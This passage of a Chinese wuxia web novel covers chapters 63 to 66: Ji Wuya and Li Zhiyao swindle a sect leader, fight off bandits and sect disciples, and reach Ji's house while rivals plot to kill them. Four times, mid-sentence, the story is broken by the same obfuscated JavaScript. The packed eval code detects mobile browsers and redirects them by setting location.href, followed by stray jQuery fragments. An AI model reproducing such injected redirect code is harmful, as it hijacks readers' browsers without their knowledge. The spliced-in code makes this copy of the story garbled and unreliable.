莫金泽面上闪过一丝犹豫,银来庄的名号他确实听过,不光老百姓官员就连他们闯江湖的都知晓,把钱存到银来庄,存进去给的利息高,借钱后收的利息也低。 周转不过来借个千把百两的,到了第二个月筹到钱就什么全都还回去了。 加上这段时间他们成明宫确实资金周转困难,李之夭的这个提议着实心动,二长老大仇未报,跟银来庄借个四百两,等后面比武大会结束,赚回来,也够时间偿还的。 李之夭趁热打铁道:“我跟银来庄的人相熟,机不可失,纪无涯什么脾气你也知道,万一改日他不高兴涨价不接了怎么办,岂不是连凶手是谁都不知道,大仇也不能报。” 莫金泽从窟窿下去来到李之夭跟前将刀指在眼前,她顿时抱头求饶,眼泪婆娑的样子像是被吓到了,“你这人不愿就不愿,干嘛拿刀吓唬人,你若不想去银来庄借钱,跟我借,我也可以借你。” 纪无涯也跟着下来,站在他身后,手里弩机还未放下。 莫金泽冷哼一声,将李之夭手里的纸抽了出来,小案上还有未干的墨,他看了一眼上面的内容,将信将疑道:“你可别骗我。” “保证不骗你。” 鬼都知道李之夭贯会装可怜骗人。 莫金泽跟纪无涯道:“四百两,雇你了。” 纪无涯道:“我当场要收到钱。” 李之夭笑盈盈地为他递上新的纸笔,意思是他可以打个欠条给纪无涯,然后他再去银来庄借钱,借钱之后再暂存在银来庄,等纪无涯拿着他的欠条去取钱。 莫金泽纵使万般不愿,但眼下成明宫许多弟子闹着他必须要将凶手绳之以法,血债血偿,压力在他头上,这段时间为了找纪无涯他可是没睡过一次好觉。 今日好不容易遇上,他必须要得到个结果,现在花点钱就能解决难题,他心总算可以落地,在外等着纪无涯的消息,只要得到幕后之人死亡的消息,就能回成明宫去。 写好欠条交到纪无涯手上,莫金泽带着人离开了,而客栈的大窟窿自然是由纪无涯他赔。 赔偿了客栈的损失,他们换了一间房,正好早点准备好,便顺势下楼了。 楼上方才闹出的动静下面的人全都听到了,看到成明宫掌门带人离开手里还拿着一张纸,他们就知道莫掌门神不知鬼不觉的被纪无涯坑了。 雇他的价格虽然死贵,看他平时一本正经,实际上不是什么好人,价钱都不敢给低了,低了生怕他两头赚,得不偿失。 “其实是两个铜板。”纪无涯和李之夭坐下,他出声。 李之夭拿包子的手一顿,“两个铜板?” 两个铜板坑人家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173947|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四百两! 她清清楚楚看到莫金泽在借据上写了四百两银子。 “他自己误会的。”他端起粥喝了一口。 “你不解释?”李之夭吃包子的动作都放缓了,心里在飞速盘算着自己过去雇他有没有被他坑的情况。 好像她欠他的五千两还没还清。 但现在细细一想,当时的情况属于他也要离开,若是她死皮赖脸跟着他一起走,他总不能把她从上面丢到水里不管她。 这么一想,好像她还是有点亏了。 “你就这么坑人家?”李之夭瞠目结舌,四个铜板的价格,硬生生给他给要到四百两。 “我可没说四百两,是他自己说的。” “但你也没否认啊。” 纪无涯看着她,“你也赚了。” 李之夭一怔,顿时做出痛心疾首的样子,捂着胸口很受伤,仿佛下一秒就要哭出来,“没想到你是这么看我的。” “银来庄是你的地盘,别装了。”他几次翻车不是在银来庄就是在宿宁宫,后来专门抽时间想了想其中的事,包括跟她初次进银来庄的时候,检查过茶杯水温和口脂,茶杯上沾的口脂是李之夭唇上的颜色,并非金三娘。 几次倒在银来庄都说明银来庄有问题,是李之夭的地盘,只不过她一直和金三娘还有耿进才做戏给他看,包括坑了裴淮名下不少铺子。 都是李之夭的主意。 没想到他从李之夭手里赚到的钱,他放在银来庄,最后还是落到了她的口袋里。 李之夭主动跟莫金泽说借钱的事,想必在借据里跟他玩了文字游戏,到时候他去还钱定有坑等着他去踩。 简直丧尽天良! 李之夭不做声默默吃着包子,毕竟这一路上得靠他。 她也不亏,纪无涯也能赚到,还是不要得寸进尺了。 “你要不要换身衣裳?”她主动转移话题,指了指他潮湿的衣裳,“湿衣服穿久了,对身体不好。” 纪无涯不是不想换衣服,而是他这次出来并未带包袱,本来他打算在客栈留半日,将衣服烘干后再上路,李之夭看穿他的心思,主动笼络道,“要不我帮你去找小二问问能不能卖一件给你暂时将就下,等到下一座城镇后再重新买件新的。“ 李之夭本着这次头脑一热跟他出来,后面的路生生死死都得靠纪无涯,趁着现在找机会继续拉进一下关系,一件两件衣服而已,她还是能负担得起的。 纪无涯说不用,“方才换房间时我已跟小二说过。” 少了一次拉进关系的机会,李之夭只是稍许遗憾的说了句好吧。 纪无涯吃完早点上去换了身衣裳下来,李之夭也好了,他说句走吧,李之夭赶忙跟上去。 “去哪?” “去小二说的村子里,买马。” 在他们走后,小二跟着出去朝离开的方向张望,确定他们去的方向是进村的路,回去后厨找到正在砍柴的伙计让他起来。 “你快抄近路去村子找村长说一声,这两个人可是两条肥鱼。” 64. 圈套 第64章 他们顺着泥泞小路往深处走,不消片刻就来到小二说的村口,随机喊住名外出的村民问了村长家的住处,知道他们是来买马的指路的人很是热心,非要亲自带着他们去。 送到村长家门口,不消敲门,门就自己开了。 “村长,他们是来买马的。” 李之夭学着纪无涯的样子抱拳拱了拱手,再一块进了屋,村长为他们添了茶水,“昨天刚下过雨,今日降了温,喝点热茶暖暖。” 茶水接到手里,李之夭握着没有先喝,纪无涯同样也没动,想从他眼睛里看到不同寻常的事,但纪无涯始终一副淡漠表情,什么也看不出,握着茶杯的手在村长目光灼灼的凝视下,变得烫手起来。 为打破这份不适感,李之夭只好自己找话题,“村长,不知你家的马怎么卖?” 村长笑着说不急,想让他们先歇会儿脚再说,反过来一脸诧异问他们,“怎么不喝茶?” 纪无涯将李之夭手里的茶杯拿过放下,带着她想转身就走,“我们走吧,这马今日是买不成了。” “你这是什么话?”村长面露不满,“我好心好意请你喝杯热茶,你却不识抬举。” 纪无涯步子顿住,微微侧头,目光冰凉,“你屋里血腥味儿太重,身上杀戮也重。” 然而他们还没跨出门槛,门前忽然涌进来一批手持兵刃的人,将去路堵死。 村长冷哼一声,“今日来了我这里,你们就休想活着离开!” 眼见出路被堵死,看样子是不动手就不能走了,“我今日不想杀人。” 纪无涯试图让他们离开,奈何对方听见却哈哈大笑起来,嘲笑他看上去是个练剑都不会耍的小儿,还敢大放厥词。 说着一名彪形大汉活动手腕上前跃跃欲试,“让我先来会会你,不要说我欺负人。” 他出拳之际纪无涯闪身极快,同时抽出腰间缠绕的软剑,须臾间已经刺进了他的胸口,大汉瞪大双眼,到死都不敢相信,自己就这么轻而易举折在这里。 大汉倒下的同时,软剑从他胸口拔出,银色的剑身滴答滴答滚下几滴殷红的血珠,他的此举引起众人愤怒,可却又使他们心中胆怯。 方才他的身形极快,没人能看清他是何时出的手,只感觉片刻间,人就死了。 村长怒不可遏,直言要杀了他,手底下的人收到讯号直接冲了进来,纪无涯牵起李之夭的手,拦住她的腰将人带进怀里,脚踏木桌借力飞身上房梁,他把李之夭放在上面坐好。 李之夭看到他投来的眼神,仿佛在说,你现在此地不要动,我去杀个人。 打架的事她帮不上什么忙,坐在上面看戏确实没人能伤得了她。 纪无涯银白软剑宛如游走龙蛇,在打斗中不断刺伤敌人,屋子里乱哄哄一片,村长站在墙角不断在说,“杀了他!杀了他!” 李之夭看纪无涯在忙活打架,她自己闲着也是闲着忍不住想跟村长唠唠,不然他一直重复那几个字,听腻了,她喂了一声,“你不上去帮忙啊?” 村长一愣,看着坐在高处还优哉游哉荡腿的李之夭,“我为何要去帮忙?” 李之夭想了想身上还带着骆师傅给她配置的药粉,其中一包是痒痒粉,本来她打算留着给纪无涯试试的,因为她似乎从没见过纪无涯别的表情,有些想看他沾了痒痒粉是什么样子。 可惜今天只能用在这里了。 “你不去帮忙在旁边叫什么,你手底下的人为你出生入死,你站在旁边叫个不停,多一个人多一分力量啊,大伯。” 纪无涯还有余力朝她看来,见她藏起来的手上拿着一包药粉,虽然他不知道有什么用,但总觉得还好没用在自己身上的幸运感。 村长指着她跳起来骂道:“你少在那里胡说八道,你怎么不去帮忙!” 李之夭一摊手,“我也没说我不帮忙。”她指了指房梁下面的空地上,忽然有人被割开喉.咙倒在空地上,“大伯,麻烦你帮他挪开,我给你看样东西。” 村长瞧她蓄人无害的模样,长相水灵灵的,说话声音好听,被她现在的模样欺骗,完全忘记前面李之夭是怎么说他的了。 当他走到附近的时候,李之夭大叫一声纪无涯的名字,然后将手中药包洒下。 纪无涯闻声收回软剑,闪身朝波及不到的地方避开。 白色的粉末落下,追赶而来的人沾染上粉末,见效快,方才还在打打杀杀的人只觉自己身痒难耐,怎么挠都止不住。 痒痒粉沾在身上,有人一头栽进水缸里,可不管怎么用水缸里的水洗都止不住。 村长距离李之夭最近,他身上沾染也最多,躺在地上打滚,嘴里哎哟哎哟的叫着。 尽管如此,他们还是强撑着精神要杀了纪无涯,杀了他,解药自然也就到手。 谁知不知从哪里又赶来一批人,他们的身手比村子里的人还要好,个个都是练家子的,他们进来二话不说杀了觉得碍手碍脚的人。 不给纪无涯说话反应的机会,齐齐将他逼出屋子。 院中土地因夜里下了雨很是泥泞,脚踩上去,立马印下脚印,鞋边沾了一层泥。 纪无涯认出来人,眼神冷峻,“成明宫的人?” 为首男子怒道:“你杀了二长老,我等身为他座下弟子,自然要为他讨个公道!” 纪无涯虽依旧稳如泰山,语气却有几分讽刺,“你们二长老带着你们这群狗腿子无恶不作,败坏成明宫名声,莫金泽身为掌门到现在都不知是谁给他惹了一堆烂摊子,我不主动找你们,你们反倒找上我了。” 男子听闻神色一变,他没想到一向隐瞒很好的事,竟然被纪无涯这么轻轻松松说了出来,他们跟着莫金泽来了此地,知晓他早上才见过纪无涯,莫金泽竟然还委托他去杀了雇主,本想先宰了纪无涯,去银来庄将那四百两银子占为己有,没想到他知道的这么多。 “这村子是个土匪窝,外头的小二不知帮忙骗了多少无辜的人过来在此地送了性命,本就是死有余辜,我的本意只是买马,不想多管闲事,你们成明宫那些事我不会说,我只管拿钱杀人。” 纪无涯挡在门前,不想让他们发现房梁的李之夭。 “老子管你会不会说,今日既然撞上,必然不会让你活着!缘楼十三护法又如何,区区缘楼,我们还不放在眼里!朝廷江湖两头吃的狗罢了!” 男人大喝一声, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14182677|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞬间群起而攻之。 二长老身手不错,当初他刺杀他的时候也费了点功夫,他手底下出来的人自然也不会太差,十几人围攻他一人,有些难缠。 只不过面对要杀他的人,这一次不会再手下留情,软剑一出,剑锋如寒芒毕露。 他游走在人群里,所到之处哀嚎一片,血珠四溅。 围杀他的人都倒在了血泊中。 男子被纪无涯一脚踹飞,摔进屋里,捂着胸口咳嗽几声,门前逆光而立的少年手持长剑,发尾微漾,浑身散发着的气息宛如亡命之徒想与人拼个鱼死网破,不死不休。 他心里又惧又怕,就在此时,男子看到坐在房梁上的李之夭,早些他就看到纪无涯此次身边带了名姑娘,虽不知二人关系,但刚进客栈的时候就能看出纪无涯对她颇为照顾,想必此人对他意义不凡。 既然杀不了纪无涯,杀了他身边的人出气! 男子起身还未动作,就被纪无涯提剑从正面一剑刺穿的胸口,血顺着剑身滴答滴答落在地上,融进泥里。 他不甘心地睁大双眼,喉咙呜咽半天说不出任何一个字,最后睁着眼倒在地上。 李之夭动了动身子想开口叫他,怎料纪无涯拔出软剑转身,像察觉附近还有危险的猎物一般,手中掷出银币直逼她的面门。 “纪无涯!” 李之夭惊呼出声,想往后仰去躲开他的攻击,下一瞬只见纪无涯飞快扑到面前将她护进怀里,原本朝她的银币也打在他的后背上。 耳边传来一记闷哼声,两人一起从房梁上摔下去。 再回神预想中的疼痛并未传来,除了震得有些心口发懵之外,她并没有多大的事,而纪无涯当人肉垫躺在她身下,眉头紧皱,嘴角溢出一丝血来。 李之夭从他身上下来将人扶起,紧张检查他有没有事,“你怎么样?” 纪无涯缓了口气,他拭去唇角边上的血渍,“死不了,没事。” “他们是什么人?” 李之夭看着遍地的尸体,饶是心里素质再强大,此时也忍不住唏嘘。 纪无涯捡起落在地上的银币,将它揣进兜里,然后再周围找了一圈确定村子里没有一匹马后便也放弃了,只得先回到客栈。 打算告诉掌柜小二的情况,他估计掌柜也是被小二蒙在鼓里。 店小二干了那么多伤天害理的事,他不动手,自然有人会出手。 “成明宫二长老座下弟子,成明宫走到今日这个地步,跟他们脱不了干系,莫掌门一生行侠仗义,别的什么都好就是容易轻信他人。” 轻信他人这一点李之夭深有体会,不然她也就不能说动他写下借据去银来庄,赚他那点银子。 但李之夭坑他,也有自己的考量,莫金泽这个人,她有些印象,因为书里后面,他忽然投靠了裴淮,虽然他没干什么伤天害理的事,求个自保,没少听着苏月清的话明里暗里给她刷了些手段,再让她对苏月清深信不疑。 她跟在苏月清身边,出现的危险不少就是莫金泽带着他手底下人干的,至于成明宫,她并无太多印象。 “那你为何坑他?” 纪无涯顿了顿,回答也坦诚,“他好骗。” 65. 大方 第65章 掌柜知道店小二的事后,当即大发雷霆,集结客栈里的江湖好汉将他捆起来打算扭送到官府去让他受罚。 用完午饭后,他们二人休整也差不多。 临行前纪无涯面色不太好,所以他们不得不稍微放缓些脚程,纪无涯原本计划再买一匹马,两人各骑一匹加快行程,他虽轻功傍身,若是带上李之夭一个成年人的重量,不如骑马来得快。 纪无涯目光扫过李之夭的裙裾,因为早上走过小道的缘故沾了一些泥沙,鞋边也沾了泥,原本在城中宫里干净精致的姑娘,此时倒却有几分潦草。 他让李之夭坐在马上,自己走在路上帮她牵马,利用走路顺一顺胸口早上挨了自己一下积在胸口不散的气。 从客栈继续往北走,到傍晚的时候就能到清水镇,清水镇隶属京州边缘,隔壁就是肃州,明天傍晚就能到月缘山缘楼。 进宁缘城时已是第二天晚上,时辰比预估的晚了些。 宁缘城相比较繁华的京城,这里的百姓更喜欢日出而作日入而息。 它原本地处燕国和大魏的边界,当时两国尚未统一,周边还有不少山贼盗匪,哪怕现在国泰民安,宁缘城依旧保持晚上早早关门歇业,在家除非不得已闭门不出的习惯。 空旷道上,路边稀稀散散亮着几盏灯,收夜香的车咕噜咕噜滚过石砖地板,伴随着打更人的敲锣声,马蹄踏踏。 李之夭还是第一次来除了燕国帝都和大魏京城以外的城镇。 “这还是我第一次出来去到别的地方。” 纪无涯想了想该怎么接她的话,困在围墙里的人,都比旁人更加向往外面的天地,“以后还会有更多的地方。” 李之夭笑了笑,垂下眸子声音都带有几分迷茫,“我都不知倘若有一天这样的日子到来,我该去哪。” 原先她本以为有银来庄,她就有地方可去,可天地广大,她生于其中不过沧海一粟,何其渺小,又怎敢揣测外面浩荡。 纪无涯侧头望她不过一眼就将视线投向远方,“若真有那日,自然会知道,眼下走一步算一步。” “也是,不过你竟然安慰人,之前你说话我还想好端端的人,可惜长了张嘴。” “我现在也改变看法,你这人不光心眼坏,嘴也坏。” 跟他这么一拌嘴,原先压在她心头的郁结也消散开,前方道路笔直,百步才能看到几只挂起来摇摇晃晃的灯笼。 “我们去哪?” “宁缘城我有座小宅,今晚先去那里落脚。” “能买宅子,看样子你这费用挺赚。” “也亏你大方,是用你雇我的钱买的。” 李之夭不知他抽什么疯,今晚嘴意外的毒,再跟他说下去,也捞不到什么好,索性闭上嘴哼着小曲儿。 夜色寂寥,马蹄声格外清脆,并不是所有城镇都像京城周边那样晚上灯火通明,富庶繁华,宁缘城现在看起来不过是一座自给自足保留着过去习性的边陲小镇。 然而他们刚到宁缘城,缘楼的人就都知道了。 蓝素衣泡在洒满花瓣的牛乳池里,旁边的丫鬟用水瓢从池子里舀水往她身上浇着。 池子外扯着白色的帷幔,水雾弥漫,帷幔倒映出女子曼妙的身影,跪在外头报信的人偷偷看着,喉咙有些发紧。 蓝素衣飞速起身,带起水花四溅,她极快闪到屏风后面穿好素白的衣裳,套上外衫系上腰带,墨黑的长发滴着水珠,轻功赤脚踏于半空中来到男人面前一把掐住他的咽喉。 男人紧张地盯着她,不知是否因为此处气温过热的缘故,让他额上开始冒出密密细汗。 “你说十三到宁缘城,身边还带着一位姑娘?” 男人点点头,“不敢撒谎,那姑娘穿着简单,坐在马上,属下不知她是何身份。” 蓝素衣松开捏着男人的下巴,拂袖推开楼阁紧闭的屋门,飞身出去,“速速带人跟我下山一趟。” 九明闻声迅速集结了一批人候在八角楼的院子中,他瞥向八角楼一角亮着灯火的阁楼上,犹豫询问,“楼主带多少人去,那人怎么办?” 蓝素衣顺着他的方向望去,目光沉了沉,“楼里二十个护法,留下几人看守缘楼,剩下的人都跟去。” 九明拱手应下,缘楼的护法,除开十三、十四和十九,剩下十七位,外出执行任务三人,留守分了三人,一同前去的共有十一人,看样子楼主是打算今晚必须强硬将十三带回来。 大魏皇帝说会押解纪无涯过来,现在这情况是纪无涯自己回来了,九明有些拿不住这位师弟心里在想些什么。 几年的同门情谊让他心里隐约生出一丝惋惜。 他这师弟素来对人礼貌疏离,哪怕这么多年,也只有十四和十九跟他关系好些,其他人除了出任务时,平日具在一起说句话开个玩笑都困难。 他知十三体内带有旧毒,卧床半年从鬼门关走了一遭,想离开惜命在所难免,望向脱离缘楼,难免有些痴人说梦,且不说离开缘楼有自己的规矩,单凭需要打赢缘楼全部护法本就困难,下山不能走大道,只能从小道,小道危险重重,机关无数,还要提防明枪暗箭,拿到刻有自己名字的牌位,抵达山脚不管生死,都是离开了缘楼。 九明曾经也想脱离缘楼,但得知离开的条件后便退缩了,与其死在半道上,不妨像现在这样活着,他下意识看向了身边沉默不语的林江。 林江对于上次纪无涯点穴害他出丑的事一直暗暗记在心中,祈祷这次最好纪无涯惹怒楼主对他下死令,不然他真不好出手。 一行人在楼主的带领下快速下山要去找到那位胆大包天的同门。 * 年长的管家在后门接到信后挥了挥手让送信的探子退下,他盯着手里的信迟疑片刻要不要告诉给自家主子时,智先生便先走了过来。 “何事犹犹豫豫的?” 管家见状只好将信递给他,“探子说沈丞相去了宁缘城,不知他去那里干什么,还有宿宁公主从宫里离开了,是纪无涯带她走的,看方向去的也是宁缘城,他们应该要去缘楼。” 智先生冷哼一声,眼眶附近褶皱堆叠,让他眼窝往里陷了陷,目光满是嘲讽,“纪无涯心思无人能左右,谁也管不了他,当初玄心在世时,他尚且还能听玄心的话,现在玄心死了,世上能左右他的人怕是没喽,我本也不指望他真能杀了李之夭。” 管家不解:“不指望他为何还要派他去?” “纪无涯身份特殊,他是纳多邀月一族的后人,我必须要让这件事死在土里,你找人帮我盯紧点,还有李之夭那边亦然。” 智先生想了想转头继续问道,“当年从纳多族失踪的那女子有下落了没,我曾听闻有位江湖人跟纳多族交好,时常出入后面娶妻倒是隐姓埋名在江湖里不知所踪。” 这些都是祸患。 二十一年前的前尘旧事,虽然当时大魏先帝在世时已尽数灭口,后面他也暗中清理不少侥幸存活的人,本以为能高枕无忧,后来他得知连漱曾经也去过纳多族,邀月后人在世,好在他知道纪无涯就是纳多邀月后人,跟他建立联系,不过是想随时掌握他的动向罢了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14192475|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 智先生手里握着纪无涯留给他的银币,尾端的红线已经不见了,银币上光泽闪烁,似乎常常被拥有他的人拿在手里摩挲。 “下月集可有线索了?” 管家有些为难,“上次查到下月集的残卷就在凤山一处秘洞里,可不等我们找过去,凤山就起了火,禁军满山都是,还在捉拿北唐的璃王,我们只敢暗中帮璃王脱险,不敢再去跟禁军正面碰上,现在才知道当时璃王并未从里面带走什么,也不知残卷是否还在凤山。” 现在凤山火势虽灭,可山却被毁了,黑黝黝一片,寸草不生,护国寺还在重建,有不少工部的人也在,他们可不好插手进去。 “上次想借进宫刺杀李之夭的手让纪无涯死在里面,没想到计划失败了,现在李之夭不在宫里,既然出了宫就让她悄无声息的死在外头,纪无涯也不能再他活着了。” 管家听命,“主子,这件事派谁去比较好?” 智先生想了想,“洛萤在外,让她想办法接近纪无涯和李之夭二人。” 自从知晓纪无涯就是纳多邀月后人开始,智先生以往平静的心再起波澜,想起当初下定决心要覆灭纳多族的契机,那是一场世间无人能巧遇的机缘,也正是因此机缘,才让他做出一个大胆的决定。 可本是万无一失的计划,竟出现了漏网之鱼,连漱不管后来有没有跟李之夭说过什么,他绝不能留她。 “洛小姐聪慧,必定马到成功。” 洛萤是智先生的义女,她年幼家中遭难恰得智先生所救,后来便认他为义父,做他在江湖中的一枚暗棋。 在遥远的肃州璧兰城中央的名云来间的乐坊中,丝竹声声,入口门庭若市,灯火奢华辉煌,乐坊内中央是一片水池,水池中央有一座圆形舞台,舞台上方楼上四处挂着彩色的绸缎,三层楼阁走廊处挤满了人。 乐师们坐在圆台附近吹奏弹曲,中央的舞台上几名舞女水袖飞扬,舞姿曼妙,但一曲毕仍不见他们最想见到的人登台,不由开始怨声载道。 幕后凤眼柳眉的女子对着铜镜摸上嫣红的口脂,外头乐声还在响,今夜来看她演出的人男女都有,可吵闹最盛的总是那群拿着色眯眯眼神看她的男人,着实让她感到厌烦。 洛萤合上妆奁,再为自己精心挑选了一支今夜跟她衣裙相配的步摇,正醉心于打扮时,窗棂上忽然停了一只信鸽。 取信后她眸子忽的亮起,正好她现在觉得这里的人无趣得很,换个地方玩玩也不错。 此时外头的吵闹还在继续,更多的是男人的大嗓门,洛萤将看完的信件烧掉,出声叫来守在外面的云来间柳妈妈。 柳妈妈没有立刻走到她跟前,而是隔着屏风站定,毕恭毕敬地叫了句洛姑娘,“何事吩咐?” 她不敢催洛萤,毕竟云来间能有今日的辉煌全是洛萤一人撑起来,云来间更是洛萤一手建立,她不过是明面上云来间的管事,实际上云来间真正管事的是这尊大佛。 “准备一下,咱们后日启程去宁缘城。” 洛萤说完起身从柳妈妈身旁走出去,此时场外热场的舞乐跳完奏毕,她拂袖从最高层的楼上拽着一条丝绸飞身而下,宛如天女散花般洒下些许花瓣,脚尖轻点水面,眨眼便落在了舞台上,随着乐声起舞,翩若惊鸿,婉若游龙。 场上见到宛如神女一般存在的人,欢呼声愈发热烈,更有人看着在舞台翩翩起舞的妙人两眼发直,嘴里念叨着想去找柳妈妈问多少能将洛萤买下来。 他们想将她从舞台上拉下来,让她跟着自己去到属于他们的宅院里,只为一人起舞。 66. 笑意 第66章 李之夭跟着纪无涯去到他在宁缘城的宅子时,并未想象中的豪华,而是在一处僻静的巷子中,四面环水,只有一条笔直的青石砖搭建成的路来往,道路不宽,只够两人并排行走。 纪无涯走在前头牵马,李之夭从马背上遥望,河水清澈,倒映天上星辰,他们行走于水中央,像是黑夜被划分成两半,两岸绿树成荫,石砖路尽头的小宅门头上点着灯笼。 “宅子有人在,是一对六十岁左右的夫妻。”纪无涯主动将自己家里的情况为李之夭介绍,“阿爷名叫赵南涧,阿奶叫许归,他们曾经也是闯江湖的,阿爷一手大刀耍得颇有关二爷风采,阿奶擅长软鞭可化鞭为剑颇为伶俐,年轻时也是名动一方的大侠。” 行至门前纪无涯叩响大门,李之夭自己从马背上下来,两扇门上贴着两个福字,不消一会儿,里面传来脚步声,隐约一句来了的声音传来,听声音是位中气十足的阿奶。 开门的正是许归,她瞧见纪无涯回来面上欣喜,“哎呀,命百子回来了,老头子,别捯饬你那破瓜棚了,命百子回来了!” 说着视线落在纪无涯身后的姑娘身上,“还带了客人!你快来啊!” “来喽来喽,你别催了,一天天的。”赵南涧赶过来,身上还沾了些泥。 李之夭冲他们微微行礼问好,纪无涯主动介绍道:“她是……” 似乎觉得把李之夭身份说出来会让彼此拘谨,“她是我的朋友。” 许归仔仔细细瞧了瞧李之夭,这还是他们第一次见百岁子带姑娘回来,不由欣喜,百岁子当初见他们二人受伤收留,这么些年下来,他们也把纪无涯当自己的孩子看。 头次见这么新奇的事,心中忍不住猜想,但他介绍说是朋友,许归心里有些不相信的。 到底是他们年轻人自己的事,许归也不好多问什么,热情招呼他们进去,赵南涧见到有姑娘跟着一块来,惊讶地望着许归好半晌没说话出来。 许归朝他身上拍了一下,“愣着干什么,他们这么晚才到,宁缘城里的铺子早就关门了,肯定没吃东西,快去厨房备些饭菜来。” 赵南涧如梦初醒,连忙哦哦哦了几声就去厨房忙活去了。 宅子有他们夫妻两个的房间,寻方和雪的屋子也都备着,空余的房间还有,许归先领着他们进了中堂,倒了茶水就去为李之夭收拾屋子。 李之夭看着忙忙碌碌的二人,自己怪有些不好意思的,纪无涯喝了口热茶,“没事,他们就爱忙活,我先为你输点内力稳下留羽,估计一会儿打起来,可能顾不上。” “此话怎讲?”问出来她瞬间又后悔了,宁缘城好歹也是缘楼的地盘,说不定他们刚接近宁缘城,缘楼就知道这个消息,肯定早就带人下山来寻人了。 纪无涯站到她身后开始输内力,“他们知道我在这里的宅子,他们怕引起驻军注意,不会大动干戈,届时我动手时,你跟在阿奶和阿爷身边,缘楼的人不会拿你们怎样。” 驻守在这里的驻军曾经是燕国人,名字取得潦草,叫牛大壮,她曾撞见他一个大男人因为掉了块糖蹲角落掉眼泪,后来双方面子上挂不住,李之夭主动溜进御膳房,偷了给她父皇吃的点心,她吃得心安理得,牛大壮吃得诚惶诚恐,可也津津有味。 就是后面御膳房因为丢了食物被罚几板子,不过在她眼里都是活该,御膳房里的每个人都不是好东西,经常给她们娘两少吃少喝,昧了不少属于她们的东西。 这顿板子李之夭是故意的。 吃完她还将碟子藏进九皇子屋子里,正好被抽查课业的父皇一屁股坐到,九皇子挨了一顿好打,那些人都是活该,九皇子整日跟她作对,后来听说御膳房知道是九皇子偷拿的,记恨着挨打的仇,可没少往他吃的东西里加东西。 知道燕国城破了的时候李之夭本以为他死在了乱军中,牛大壮入了大魏的军职,担任职位不低时,她还意外了好久。 “若有必要,我可以跟驻军求助。” 只不过可能会暴露她已出宫的事实。 纪无涯替她揉了揉肩,“连续给你输几次内力,你身体会受不住,最开始会出现浑身酸胀的感觉,我现在帮你缓解下。” 李之夭本想说不用麻烦,但纪无涯按摩的手法力道刚好,不轻不重,确实缓解不少体内的不适感。 饭很快端上来,是两碗淋了肉酱的面,青菜碧绿,碗里一人各一枚鸡蛋,色香味俱全。 赵南涧用手在围裙上擦了擦,乐呵呵笑起来,“今日家中没剩多少吃食,尝尝我这做面的手艺,命百子回来的时候就好这口。” 李之夭不是口腹之欲很强的人,看着这碗面她忍不住食欲大开,说那我就不客气了便率先尝了一口,入口面条口感劲道,汤汁入味,很是好吃。 她由衷赞叹,“好吃。” 纪无涯见她吃的开心,还担心她在宫里吃惯了山珍海味,吃不惯外面的家常,听她赞叹心里悬着的石头总算放下。 外头风渐渐起来,吹掉挂在外头的灯笼,赵南涧隐隐觉得周围有人在徘徊,他都察觉了不代表纪无涯没有察觉出来,只不过他没说赵南涧也没擅自说出来惹人忧愁。 今夜外面的气氛不同寻常,赵南涧从刀架上取下许久不曾使用的长刀,搬了凳子坐在院子中央。 李之夭喝完碗里最后的一口汤,心满意足的放下碗筷,若不是晚上不宜吃太饱,她都想麻烦赵南涧在做一碗。 她看到纪无涯早就吃好,在看她,眸子里有些暖意,似乎在笑,相比较自己喝个精光的碗,他那里还剩了些汤,李之夭微微有些脸红。 “果然给你送内力非不会武的人能承受的,东西都多吃不少。” 知道他是在为自己解围,李之夭顺势往下接话,说确实如此,“特别是刚输完你的内力,自己身体消耗飞快,胃口也大了不少。” 纪无涯嗯了一声,看着她的眼睛不同以往的疏离,笑意浅浅。 “你跟着阿奶去后面歇息,这段时间留在这里,白日让阿奶陪你出去走走,我尽快把解药给你送来。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14199559|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>李之夭拽住他的胳膊,“一起来的,就一起走。” “这次不行,你知道缘楼是什么地方吗?” 